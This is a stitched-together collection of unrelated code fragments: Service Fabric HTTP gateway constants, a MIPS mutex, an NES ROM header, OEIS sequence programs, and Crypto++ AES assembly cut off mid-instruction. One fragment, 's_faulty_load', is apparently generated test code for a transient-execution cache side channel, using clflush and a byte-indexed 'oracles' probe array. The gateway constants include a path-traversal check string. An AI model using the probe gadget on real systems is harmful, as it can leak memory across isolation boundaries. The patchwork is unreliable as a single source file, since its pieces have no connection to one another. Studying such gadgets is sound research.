make_global<wstring>(L"ResumeBackup"); GlobalWString Constants::GetBackups = make_global<wstring>(L"GetBackups"); GlobalWString Constants::Restore = make_global<wstring>(L"Restore"); GlobalWString Constants::GetRestoreProgress = make_global<wstring>(L"GetRestoreProgress"); GlobalWString Constants::Backup = make_global<wstring>(L"Backup"); GlobalWString Constants::GetBackupProgress = make_global<wstring>(L"GetBackupProgress"); GlobalWString Constants::RequestMetadataHeaderName = make_global<wstring>(L"X-Request-Metadata"); GlobalWString Constants::ClientRoleHeaderName = make_global<wstring>(L"X-Role"); GlobalWString Constants::ApplicationTypesEntityKeyPath = make_global<wstring>(L"ApplicationTypes/{ApplicationTypeName}/"); GlobalWString Constants::ServiceTypesEntitySetPath = make_global<wstring>(COMBINE(Constants::ApplicationTypesEntityKeyPath, Constants::GetServiceTypes)); GlobalWString Constants::ServiceTypesEntityKeyPath = make_global<wstring>(*Constants::ServiceTypesEntitySetPath + L"/{ServiceTypeName}/"); GlobalWString Constants::ApplicationsEntitySetPath = make_global<wstring>(L"Applications/"); GlobalWString Constants::ApplicationsEntityKeyPath = make_global<wstring>(L"Applications/{ApplicationId}/"); GlobalWString Constants::ComposeDeploymentsEntitySetPath = make_global<wstring>(L"ComposeDeployments/"); GlobalWString Constants::ComposeDeploymentsEntityKeyPath = make_global<wstring>(L"ComposeDeployments/{DeploymentName}/"); GlobalWString Constants::ContainerEntityKeyPath = make_global<wstring>(L"Containers/{ContainerName}/"); GlobalWString Constants::VolumesEntitySetPath = make_global<wstring>(L"Resources/Volumes/"); GlobalWString Constants::VolumesEntityKeyPath = make_global<wstring>(L"Resources/Volumes/{VolumeName}/"); GlobalWString Constants::ApplicationsResourceEntitySetPath = make_global<wstring>(L"Resources/Applications/"); GlobalWString Constants::ApplicationsResourceEntityKeyPath = make_global<wstring>(L"Resources/Applications/{ApplicationId}/"); GlobalWString Constants::ServicesResourceEntitySetPath = make_global<wstring>(*Constants::ApplicationsResourceEntityKeyPath + L"Services/"); GlobalWString Constants::ServicesResourceEntityKeyPath = make_global<wstring>(*Constants::ServicesResourceEntitySetPath + L"{ServiceId}/"); GlobalWString Constants::ReplicasResourceEntitySetPath = make_global<wstring>(*Constants::ServicesResourceEntityKeyPath + L"Replicas/"); GlobalWString Constants::ReplicasResourceEntityKeyPath = make_global<wstring>(*Constants::ReplicasResourceEntitySetPath + L"{ReplicaId}/"); GlobalWString Constants::ContainerCodePackageKeyPath = make_global<wstring>(*Constants::ReplicasResourceEntityKeyPath + L"CodePackages/{CodePackageName}/"); GlobalWString Constants::ContainerCodePackageLogsKeyPath = make_global<wstring>(*Constants::ContainerCodePackageKeyPath + L"Logs"); GlobalWString Constants::ServicesEntitySetPathViaApplication = make_global<wstring>(COMBINE(Constants::ApplicationsEntityKeyPath, Constants::GetServices)); GlobalWString Constants::ServiceGroupMembersEntitySetPathViaApplication = make_global<wstring>(COMBINE(Constants::ApplicationsEntityKeyPath, Constants::GetServiceGroupMembers)); GlobalWString Constants::ServiceGroupsEntitySetPathViaApplication = make_global<wstring>(COMBINE(Constants::ApplicationsEntityKeyPath, Constants::GetServiceGroups)); GlobalWString Constants::ServicesEntityKeyPathViaApplication = make_global<wstring>(*Constants::ServicesEntitySetPathViaApplication + L"/{ServiceId}/"); GlobalWString Constants::ServiceGroupsEntityKeyPathViaApplication = make_global<wstring>(*Constants::ServiceGroupsEntitySetPathViaApplication + L"/{ServiceId}/"); GlobalWString Constants::ServicePartitionEntitySetPathViaApplication = make_global<wstring>(COMBINE(Constants::ServicesEntityKeyPathViaApplication, Constants::GetPartitions)); GlobalWString Constants::ServicePartitionEntityKeyPathViaApplication = make_global<wstring>(*Constants::ServicePartitionEntitySetPathViaApplication + L"/{PartitionId}"); GlobalWString Constants::ServiceReplicaEntitySetPathViaApplication = make_global<wstring>(*Constants::ServicePartitionEntitySetPathViaApplication + L"/{PartitionId}" + *Constants::MetadataSegment + *Constants::GetReplicas); GlobalWString Constants::ServiceReplicaEntityKeyPathViaApplication = make_global<wstring>(*Constants::ServiceReplicaEntitySetPathViaApplication + L"/{ReplicaId}"); GlobalWString Constants::ServicesEntitySetPath = make_global<wstring>(L"Services/"); GlobalWString Constants::ServiceGroupsEntitySetPath = make_global<wstring>(L"ServiceGroups/"); GlobalWString Constants::ServicesEntityKeyPath = make_global<wstring>(*Constants::ServicesEntitySetPath + L"/{ServiceId}/"); GlobalWString Constants::ServiceGroupsEntityKeyPath = make_global<wstring>(*Constants::ServiceGroupsEntitySetPath + L"/{ServiceId}/"); GlobalWString Constants::ServicePartitionEntitySetPathViaService = make_global<wstring>(COMBINE(Constants::ServicesEntityKeyPath, Constants::GetPartitions)); GlobalWString Constants::ServicePartitionEntityKeyPathViaService = make_global<wstring>(*Constants::ServicePartitionEntitySetPathViaService + L"/{PartitionId}"); GlobalWString Constants::ServiceReplicaEntitySetPathViaService = make_global<wstring>(*Constants::ServicePartitionEntitySetPathViaService + L"/{PartitionId}" + *Constants::MetadataSegment + *Constants::GetReplicas); GlobalWString Constants::ServiceReplicaEntityKeyPathViaService = make_global<wstring>(*Constants::ServiceReplicaEntitySetPathViaService + L"/{ReplicaId}"); GlobalWString Constants::ServicePartitionEntitySetPath = make_global<wstring>(L"Partitions/"); GlobalWString Constants::ServicePartitionEntityKeyPath = make_global<wstring>(*Constants::ServicePartitionEntitySetPath + L"/{PartitionId}"); GlobalWString Constants::ServiceReplicaEntitySetPathViaPartition = make_global<wstring>(*Constants::ServicePartitionEntitySetPath + L"/{PartitionId}" + *Constants::MetadataSegment + *Constants::GetReplicas); GlobalWString Constants::ServiceReplicaEntityKeyPathViaPartition = make_global<wstring>(*Constants::ServiceReplicaEntitySetPathViaPartition + L"/{ReplicaId}"); GlobalWString Constants::SystemEntitySetPath = make_global<wstring>(L""); GlobalWString Constants::NodesEntitySetPath = make_global<wstring>(L"Nodes/"); GlobalWString Constants::NodesEntityKeyPath = make_global<wstring>(L"Nodes/{NodeId}/"); GlobalWString Constants::TestCommandsSetPath = make_global<wstring>(L"TestCommands/"); GlobalWString Constants::TestCommandsEntityKeyPath = make_global<wstring>(L"TestCommands/{OperationId}/"); GlobalWString Constants::ToolsEntitySetPath = make_global<wstring>(L"Tools/"); GlobalWString Constants::ToolsEntityKeyPath = make_global<wstring>(L"Tools/{ToolName}/"); GlobalWString Constants::ChaosEntityKeyPath = make_global<wstring>(L"Tools/Chaos"); GlobalWString Constants::ChaosEventSegmentsSetPath = make_global<wstring>(*Constants::ChaosEntityKeyPath + *Constants::SegmentDelimiter + L"Events"); GlobalWString Constants::ChaosScheduleKeyPath = make_global<wstring>(*Constants::ChaosEntityKeyPath + *Constants::SegmentDelimiter + *Constants::Schedule); GlobalWString Constants::FaultsEntitySetPath = make_global<wstring>(L"Faults/"); GlobalWString Constants::NamesEntitySetPath = make_global<wstring>(L"Names/"); GlobalWString Constants::NamesEntityKeyPath = make_global<wstring>(L"Names/{Name}/"); GlobalWString Constants::PropertyEntityKeyPathViaName = make_global<wstring>(COMBINE(Constants::NamesEntityKeyPath, Constants::GetProperty)); GlobalWString Constants::PropertiesEntityKeyPathViaName = make_global<wstring>(COMBINE(Constants::NamesEntityKeyPath, Constants::GetProperties)); GlobalWString Constants::StartPartitionFaultPrefix = make_global<wstring>(*Constants::FaultsEntitySetPath + L"Services" + L"/{ServiceId}" + *Constants::MetadataSegment + *Constants::GetPartitions + L"/{PartitionId}" + *Constants::MetadataSegment); GlobalWString Constants::StartDataLoss= make_global<wstring>(*Constants::StartPartitionFaultPrefix + L"/StartDataLoss"); GlobalWString Constants::StartQuorumLoss = make_global<wstring>(*Constants::StartPartitionFaultPrefix + L"/StartQuorumLoss"); GlobalWString Constants::StartRestart = make_global<wstring>(*Constants::StartPartitionFaultPrefix + L"/StartRestart"); GlobalWString Constants::GetDataLossProgress = make_global<wstring>(*Constants::StartPartitionFaultPrefix + L"/GetDataLossProgress"); GlobalWString Constants::GetQuorumLossProgress = make_global<wstring>(*Constants::StartPartitionFaultPrefix + L"/GetQuorumLossProgress"); GlobalWString Constants::GetRestartProgress = make_global<wstring>(*Constants::StartPartitionFaultPrefix + L"/GetRestartProgress"); GlobalWString Constants::StartNodeFaultPrefix = make_global<wstring>(*Constants::FaultsEntitySetPath + L"Nodes" + L"/{NodeId}" + *Constants::MetadataSegment); GlobalWString Constants::StartNodeTransition = make_global<wstring>(*Constants::StartNodeFaultPrefix + L"/StartTransition"); GlobalWString Constants::StartNodeTransitionProgress = make_global<wstring>(*Constants::StartNodeFaultPrefix + L"GetTransitionProgress"); // <endpoint>/Faults/Services/<service name>/ GlobalWString Constants::FaultServicesEntityKeyPath = make_global<wstring>(*Constants::FaultsEntitySetPath + *Constants::ServicesEntitySetPath + L"{ServiceId}"); // <endpoint>/Faults/Services/<service name>/$/GetPartitions GlobalWString Constants::FaultServicePartitionEntitySetPathViaService = make_global<wstring>(*Constants::FaultServicesEntityKeyPath + *Constants::MetadataSegment + *Constants::GetPartitions); GlobalWString Constants::FaultServicePartitionEntityKeyPathViaService = make_global<wstring>(*Constants::FaultServicePartitionEntitySetPathViaService + L"/{PartitionId}"); GlobalWString Constants::SystemServicesEntitySetPath = make_global<wstring>(COMBINE(Constants::SystemEntitySetPath, Constants::GetSystemServices)); GlobalWString Constants::SystemServicesEntityKeyPath = make_global<wstring>(*Constants::SystemServicesEntitySetPath + L"/{ServiceId}"); GlobalWString Constants::SystemServicePartitionEntitySetPath = make_global<wstring>(*Constants::SystemServicesEntityKeyPath + *Constants::MetadataSegment + *Constants::GetPartitions); GlobalWString Constants::SystemServiceReplicaEntitySetPath = make_global<wstring>(*Constants::SystemServicePartitionEntitySetPath + L"/{PartitionId}" + *Constants::MetadataSegment + *Constants::GetReplicas); GlobalWString Constants::ApplicationsOnNodeEntitySetPath = make_global<wstring>(COMBINE(Constants::NodesEntityKeyPath, Constants::GetApplications)); GlobalWString Constants::ApplicationsOnNodeEntityKeyPath = make_global<wstring>(*Constants::ApplicationsOnNodeEntitySetPath + L"/{ApplicationId}/"); GlobalWString Constants::ServicePackagesOnNodeEntitySetPath = make_global<wstring>(COMBINE(Constants::ApplicationsOnNodeEntityKeyPath, Constants::GetServicePackage)); GlobalWString Constants::ServicePackagesOnNodeEntityKeyPath = make_global<wstring>(*Constants::ServicePackagesOnNodeEntitySetPath + L"/{ServiceManifestName}"); GlobalWString Constants::CodePackagesOnNodeEntitySetPath = make_global<wstring>(COMBINE(Constants::ApplicationsOnNodeEntityKeyPath, Constants::GetCodePackages)); GlobalWString Constants::CodePackagesOnNodeEntityKeyPath = make_global<wstring>(*Constants::CodePackagesOnNodeEntitySetPath + L"/{CodePackageName}/"); GlobalWString Constants::ServiceReplicasOnNodeEntitySetPath = make_global<wstring>(COMBINE(Constants::ApplicationsOnNodeEntityKeyPath, Constants::GetReplicas)); GlobalWString Constants::ServiceTypesOnNodeEntitySetPath = make_global<wstring>(COMBINE(Constants::ApplicationsOnNodeEntityKeyPath, Constants::GetServiceTypes)); GlobalWString Constants::ServiceTypesOnNodeEntityKeyPath = make_global<wstring>(*Constants::ServiceTypesOnNodeEntitySetPath + L"/{ServiceTypeName}/"); GlobalWString Constants::ApplicationServiceTypesEntitySetPath = make_global<wstring>(COMBINE(Constants::ApplicationsEntityKeyPath, Constants::GetServiceTypes)); GlobalWString Constants::ApplicationServiceTypesEntityKeyPath = make_global<wstring>(*Constants::ApplicationServiceTypesEntitySetPath + L"/{ServiceTypeName}/"); GlobalWString Constants::ImageStoreRootPath = make_global<wstring>(L"ImageStore"); GlobalWString Constants::ImageStoreRelativePath = make_global<wstring>(*Constants::ImageStoreRootPath + L"/{RelativePath}"); // /Nodes/{NodeId}/$/Partitions/{PartitionId} GlobalWString Constants::ServicePartitionEntitySetPathViaNode = make_global<wstring>(COMBINE(Constants::NodesEntityKeyPath, Constants::GetPartitions)); GlobalWString Constants::ServicePartitionEntityKeyPathViaNode = make_global<wstring>(*Constants::ServicePartitionEntitySetPathViaNode + L"/{PartitionId}"); // /Nodes/{NodeId}/$/Partitions/{PartitionId}/$/Replicas/{ReplicaId} GlobalWString Constants::ServiceReplicaEntitySetPathViaPartitionViaNode = make_global<wstring>(COMBINE(Constants::ServicePartitionEntityKeyPathViaNode, Constants::GetReplicas)); GlobalWString Constants::ServiceReplicaEntityKeyPathViaPartitionViaNode = make_global<wstring>(*ServiceReplicaEntitySetPathViaPartitionViaNode + L"/{ReplicaId}"); GlobalWString Constants::HttpGetVerb = make_global<wstring>(L"GET"); GlobalWString Constants::HttpPostVerb = make_global<wstring>(L"POST"); GlobalWString Constants::HttpDeleteVerb = make_global<wstring>(L"DELETE"); GlobalWString Constants::HttpPutVerb = make_global<wstring>(L"PUT"); USHORT Constants::StatusOk = 200; USHORT Constants::StatusCreated = 201; USHORT Constants::StatusAccepted = 202; USHORT Constants::StatusNoContent = 204; USHORT Constants::StatusAuthenticate = 401; USHORT Constants::StatusUnauthorized = 403; USHORT Constants::StatusNotFound = 404; USHORT Constants::StatusConflict = 409; USHORT Constants::StatusPreconditionFailed = 412; USHORT Constants::StatusRangeNotSatisfiable = 416; USHORT Constants::StatusMovedPermanently = 301; USHORT Constants::StatusServiceUnavailable = 503; GlobalWString Constants::StatusDescriptionOk = make_global<wstring>(L"Ok"); GlobalWString Constants::StatusDescriptionCreated = make_global<wstring>(L"Created"); GlobalWString Constants::StatusDescriptionNoContent = make_global<wstring>(L"No Content"); GlobalWString Constants::StatusDescriptionAccepted = make_global<wstring>(L"Accepted"); GlobalWString Constants::StatusDescriptionClientCertificateRequired = make_global<wstring>(L"Client certificate required"); GlobalWString Constants::StatusDescriptionClientCertificateInvalid = make_global<wstring>(L"Client certificate untrusted or invalid"); GlobalWString Constants::StatusDescriptionUnauthorized = make_global<wstring>(L"Unauthorized"); GlobalWString Constants::StatusDescriptionNotFound = make_global<wstring>(L"Not Found"); GlobalWString Constants::StatusDescriptionConflict = make_global<wstring>(L"Conflict"); GlobalWString Constants::StatusDescriptionServiceUnavailable = make_global<wstring>(L"Service Unavailable"); GlobalWString Constants::NegotiateHeaderValue = make_global<wstring>(L"Negotiate"); ULONG Constants::KtlAsyncDataContextTag = 'pttH'; // Service Fabric Explorer GlobalWString Constants::ExplorerPath = make_global<wstring>(L"/Explorer/{Path}"); GlobalWString Constants::ExplorerRootPath = make_global<wstring>(L"/Explorer/index.html"); GlobalWString Constants::ExplorerRedirectPath = make_global<wstring>(L"/Explorer"); GlobalWString Constants::ExplorerRedirectPath2 = make_global<wstring>(L"/explorer"); GlobalWString Constants::HtmlRootPath = make_global<wstring>(L""); GlobalWString Constants::StaticContentPathArg = make_global<wstring>(L"Path"); #if defined(PLATFORM_UNIX) GlobalWString Constants::DirectorySeparator = make_global<wstring>(L"/"); GlobalWString Constants::StaticFilesRootPath = make_global<wstring>(L"../Fabric.Data/"); GlobalWString Constants::ExplorerFilesRootPath = make_global<wstring>(L"html/Explorer/"); GlobalWString Constants::RootPageName = make_global<wstring>(L"html/ServiceFabric.html"); GlobalWString Constants::PathTraversalDisallowedString = make_global<wstring>(L"/../"); #else GlobalWString Constants::DirectorySeparator = make_global<wstring>(L"\\"); GlobalWString Constants::StaticFilesRootPath = make_global<wstring>(L"..\\Fabric.Data\\"); GlobalWString Constants::ExplorerFilesRootPath = make_global<wstring>(L"html\\Explorer\\"); GlobalWString Constants::RootPageName = make_global<wstring>(L"html\\ServiceFabric.html"); GlobalWString Constants::PathTraversalDisallowedString = make_global<wstring>(L"\\..\\"); #endif GlobalWString Constants::HtmlExtension = make_global<wstring>(L".html"); GlobalWString Constants::CssExtension = make_global<wstring>(L".css"); GlobalWString Constants::JavaScriptExtension = make_global<wstring>(L".js"); GlobalWString Constants::PngExtension = make_global<wstring>(L".png"); GlobalWString Constants::IcoExtension = make_global<wstring>(L".ico"); GlobalWString Constants::EotExtension = make_global<wstring>(L".eot"); GlobalWString Constants::SvgExtension = make_global<wstring>(L".svg"); GlobalWString Constants::TtfExtension = make_global<wstring>(L".ttf"); GlobalWString Constants::WoffExtension = make_global<wstring>(L".woff"); GlobalWString Constants::Woff2Extension = make_global<wstring>(L".woff2"); GlobalWString Constants::MapExtension = make_global<wstring>(L".map"); uint Constants::MaxSingleThreadedReadSize = 4 * 1024 * 1024; // Temporarily change the limit to 4 MB to unblock Service Fabric Explorer. // /Nodes?NodeStatusFilter={nodeStatusFilter} GlobalWString Constants::NodeStatusFilterDefaultString = make_global<wstring>(L"default"); GlobalWString Constants::NodeStatusFilterAllString = make_global<wstring>(L"all"); GlobalWString Constants::NodeStatusFilterUpString = make_global<wstring>(L"up"); GlobalWString Constants::NodeStatusFilterDownString = make_global<wstring>(L"down"); GlobalWString Constants::NodeStatusFilterEnablingString = make_global<wstring>(L"enabling"); GlobalWString Constants::NodeStatusFilterDisablingString = make_global<wstring>(L"disabling"); GlobalWString Constants::NodeStatusFilterDisabledString = make_global<wstring>(L"disabled"); GlobalWString Constants::NodeStatusFilterUnknownString = make_global<wstring>(L"unknown"); GlobalWString Constants::NodeStatusFilterRemovedString = make_global<wstring>(L"removed"); GlobalWString Constants::NodeStatusFilterDefault = make_global<wstring>(L"0"); // value of FABRIC_QUERY_NODE_STATUS_FILTER_DEFAULT GlobalWString Constants::NodeStatusFilterAll = make_global<wstring>(L"0xFFFF"); GlobalWString Constants::NodeStatusFilterUp = make_global<wstring>(L"0x0001"); GlobalWString Constants::NodeStatusFilterDown = make_global<wstring>(L"0x0002"); GlobalWString Constants::NodeStatusFilterEnabling = make_global<wstring>(L"0x0004"); GlobalWString Constants::NodeStatusFilterDisabling = make_global<wstring>(L"0x0008"); GlobalWString Constants::NodeStatusFilterDisabled = make_global<wstring>(L"0x0010"); GlobalWString Constants::NodeStatusFilterUnknown = make_global<wstring>(L"0x0020"); GlobalWString Constants::NodeStatusFilterRemoved = make_global<wstring>(L"0x0040"); GlobalWString Constants::TestCommandTypeDataLossString = make_global<wstring>(L"DataLoss"); GlobalWString Constants::TestCommandTypeQuorumLossString = make_global<wstring>(L"QuorumLoss"); GlobalWString Constants::TestCommandTypeRestartPartitionString = make_global<wstring>(L"RestartPartition"); GlobalWString Constants::TestCommandTypeDataLoss = make_global<wstring>(L"0x0001"); GlobalWString Constants::TestCommandTypeQuorumLoss = make_global<wstring>(L"0x0002"); GlobalWString Constants::TestCommandTypeRestartPartition = make_global<wstring>(L"0x0004"); GlobalWString Constants::PartialDataLoss = make_global<wstring>(L"PartialDataLoss"); GlobalWString Constants::FullDataLoss = make_global<wstring>(L"FullDataLoss"); GlobalWString Constants::QuorumLossReplicas = make_global<wstring>(L"QuorumLossReplicas"); GlobalWString Constants::AllReplicas = make_global<wstring>(L"AllReplicas"); GlobalWString Constants::AllReplicasOrInstances = make_global<wstring>(L"AllReplicasOrInstances"); GlobalWString Constants::OnlyActiveSecondaries = make_global<wstring>(L"OnlyActiveSecondaries"); GlobalWString Constants::NodeTransitionType = make_global<wstring>(L"NodeTransitionType"); GlobalWString Constants::StopDurationInSeconds = make_global<wstring>(L"StopDurationInSeconds"); GlobalWString Constants::State = make_global<wstring>(L"State"); GlobalWString Constants::Type = make_global<wstring>(L"Type"); GlobalWString Constants::Force = make_global<wstring>(L"Force"); GlobalWString Constants::Immediate = make_global<wstring>(L"Immediate"); GlobalWString Constants::EventsStoreHandlerPath = make_global<wstring>(L"/EventsStore/"); GlobalWString Constants::EventsStoreServiceName = make_global<wstring>(L"System/EventsStoreService"); GlobalWString Constants::EventsStorePrefix = make_global<wstring>(L"EventsStore"); GlobalWString Constants::EventsReaderOutputDir = make_global<wstring>(L"EventsReaderTmpOutput");
# Copyright (c) 2019 Gabriel B. Sant'Anna <baiocchi.gabriel@gmail.com> # @License Apache <https://gitlab.com/baioc/paradigms> .text # void lock(mutex) lock: ll $t0, 0($a0) # read the mutex (and set LLbit) bne $t0, $zero, lock # if occupied (1), start over addi $t1, $zero, 1 sc $t1, 0($a0) # try grabing the mutex beq $t1, $zero, lock # if wasn't atomic (0), start over # return only when sucessfully grabbed the mutex in an atomic swap jr $ra # void unlock(mutex) unlock: sw $zero, 0($a0) jr $ra
; TGROM: (128,256,512)KB PRG-ROM + 8KB CHR-RAM ; http://bootgod.dyndns.org:7777/search.php?keywords=TGROM&kwtype=pcb ;------------------------------------------------------------------------------; ; number of 16K PRG banks ; Valid configurations: $08 (128K), $10 (256K), $20 (512K) PRG_BANKS = $08 ; TGROM mirroring is controlled by MMC3. ; %0000 = Horizontal ; %0001 = Vertical MIRRORING = %0001 ; Mapper 004 (MMC3 - TGROM) iNES header .byte "NES",$1A .byte PRG_BANKS ; 16K PRG banks .byte $00 ; CHR-RAM .byte $40|MIRRORING ; flags 6 .byte $00 ; flags 7 .byte $00 ; no PRG RAM .dsb 7, $00 ; clear the remaining bytes
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rcx push %rdi push %rsi lea addresses_WC_ht+0xcf3d, %rsi lea addresses_A_ht+0x1a23d, %rdi nop nop sub $42841, %r13 mov $47, %rcx rep movsb nop nop nop nop nop dec %r15 pop %rsi pop %rdi pop %rcx pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %rax push %rbp push %rsi // Load lea addresses_D+0x118bd, %r15 nop nop nop inc %r14 movups (%r15), %xmm3 vpextrq $1, %xmm3, %rsi nop nop nop nop nop and $38694, %r15 // Store lea addresses_WT+0x61ed, %rbp and %r14, %r14 movw $0x5152, (%rbp) nop nop nop nop xor %r13, %r13 // Store mov $0xf3d, %r13 nop nop nop nop nop cmp $22559, %r14 mov $0x5152535455565758, %rsi movq %rsi, %xmm2 vmovups %ymm2, (%r13) nop nop nop and $14386, %r13 // Faulty Load lea addresses_RW+0x1c73d, %r14 clflush (%r14) and $39483, %r12 mov (%r14), %r13 lea oracles, %rbp and $0xff, %r13 shlq $12, %r13 mov (%rbp,%r13,1), %r13 pop %rsi pop %rbp pop %rax pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}} {'32': 29} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; A077898: Expansion of (1 - x)^(-1)/(1 + x - 2*x^2). ; 1,0,3,-2,9,-12,31,-54,117,-224,459,-906,1825,-3636,7287,-14558,29133,-58248,116515,-233010,466041,-932060,1864143,-3728262,7456549,-14913072,29826171,-59652314,119304657,-238609284,477218599,-954437166,1908874365,-3817748696,7635497427,-15270994818,30541989673,-61083979308,122167958655,-244335917270,488671834581,-977343669120,1954687338283,-3909374676522,7818749353089,-15637498706132,31274997412311,-62549994824574,125099989649197,-250199979298344,500399958596739,-1000799917193426,2001599834386905,-4003199668773756,8006399337547567 add $0,2 mov $2,-2 mov $3,2 lpb $0,1 sub $0,1 mov $1,$2 add $3,$2 mul $3,$2 add $4,$3 lpe sub $2,$4 mul $1,$2 sub $1,4 div $1,8
; A084967: Multiples of 5 whose GCD with 6 is 1. ; 5,25,35,55,65,85,95,115,125,145,155,175,185,205,215,235,245,265,275,295,305,325,335,355,365,385,395,415,425,445,455,475,485,505,515,535,545,565,575,595,605,625,635,655,665,685,695,715,725,745,755,775,785 mov $1,$0 mul $1,3 add $1,1 div $1,2 mul $1,10 add $1,5
include ksamd64.inc EXTERNDEF ?Te@rdtable@CryptoPP@@3PA_KA:FAR EXTERNDEF ?g_cacheLineSize@CryptoPP@@3IA:FAR EXTERNDEF ?SHA256_K@CryptoPP@@3QBIB:FAR .CODE ALIGN 8 Baseline_Add PROC lea rdx, [rdx+8*rcx] lea r8, [r8+8*rcx] lea r9, [r9+8*rcx] neg rcx ; rcx is negative index jz $1@Baseline_Add mov rax,[r8+8*rcx] add rax,[r9+8*rcx] mov [rdx+8*rcx],rax $0@Baseline_Add: mov rax,[r8+8*rcx+8] adc rax,[r9+8*rcx+8] mov [rdx+8*rcx+8],rax lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2 jrcxz $1@Baseline_Add ; loop until rcx overflows and becomes zero mov rax,[r8+8*rcx] adc rax,[r9+8*rcx] mov [rdx+8*rcx],rax jmp $0@Baseline_Add $1@Baseline_Add: mov rax, 0 adc rax, rax ; store carry into rax (return result register) ret Baseline_Add ENDP ALIGN 8 Baseline_Sub PROC lea rdx, [rdx+8*rcx] lea r8, [r8+8*rcx] lea r9, [r9+8*rcx] neg rcx ; rcx is negative index jz $1@Baseline_Sub mov rax,[r8+8*rcx] sub rax,[r9+8*rcx] mov [rdx+8*rcx],rax $0@Baseline_Sub: mov rax,[r8+8*rcx+8] sbb rax,[r9+8*rcx+8] mov [rdx+8*rcx+8],rax lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2 jrcxz $1@Baseline_Sub ; loop until rcx overflows and becomes zero mov rax,[r8+8*rcx] sbb rax,[r9+8*rcx] mov [rdx+8*rcx],rax jmp $0@Baseline_Sub $1@Baseline_Sub: mov rax, 0 adc rax, rax ; store carry into rax (return result register) ret Baseline_Sub ENDP ALIGN 8 Rijndael_Enc_AdvancedProcessBlocks_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi push_reg rbx push_reg r12 .endprolog mov r8, rcx mov r11, ?Te@rdtable@CryptoPP@@3PA_KA mov edi, DWORD PTR [?g_cacheLineSize@CryptoPP@@3IA] mov rsi, [(r8+16*19)] mov rax, 16 and rax, rsi movdqa xmm3, XMMWORD PTR [rdx+16+rax] movdqa [(r8+16*12)], xmm3 lea rax, [rdx+rax+2*16] sub rax, rsi label0: movdqa xmm0, [rax+rsi] movdqa XMMWORD PTR [(r8+0)+rsi], xmm0 add rsi, 16 cmp rsi, 16*12 jl label0 movdqa xmm4, [rax+rsi] movdqa xmm1, [rdx] mov r12d, [rdx+4*4] mov ebx, [rdx+5*4] mov ecx, [rdx+6*4] mov edx, [rdx+7*4] xor rax, rax label9: mov esi, [r11+rax] add rax, rdi mov esi, [r11+rax] add rax, rdi mov esi, [r11+rax] add rax, rdi mov esi, [r11+rax] add rax, rdi cmp rax, 2048 jl label9 lfence test DWORD PTR [(r8+16*18+8)], 1 jz label8 mov rsi, [(r8+16*14)] movdqu xmm2, [rsi] pxor xmm2, xmm1 psrldq xmm1, 14 movd eax, xmm1 mov al, BYTE PTR [rsi+15] mov r10d, eax movd eax, xmm2 psrldq xmm2, 4 movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] psrldq xmm2, 3 mov eax, [(r8+16*12)+0*4] mov edi, [(r8+16*12)+2*4] mov r9d, [(r8+16*12)+3*4] movzx esi, cl xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bl xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bh xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ebx, 16 movzx esi, bl xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, bh mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] xor ebx, [(r8+16*12)+1*4] movzx esi, ch xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ecx, 16 movzx esi, dl xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh xor ebx, DWORD 